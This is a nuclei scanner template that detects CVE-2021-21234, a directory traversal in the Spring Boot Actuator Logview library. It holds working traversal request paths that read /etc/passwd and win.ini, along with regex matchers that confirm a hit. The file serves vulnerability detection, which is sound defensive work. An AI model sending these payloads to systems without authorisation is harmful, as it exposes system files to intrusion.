nuclei-templates/cves/2021/CVE-2021-21234.yaml

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1.6 KiB
YAML

id: CVE-2021-21234
info:
name: Spring Boot Actuator Logview - Directory Traversal
author: gy741,pikpikcu
severity: high
description: spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability.
reference:
- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
tags: cve,cve2021,springboot,lfi
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.70
cve-id: CVE-2021-21234
cwe-id: CWE-22
requests:
- method: GET
path:
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # windows
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
matchers-condition: or
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0"
- type: word
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body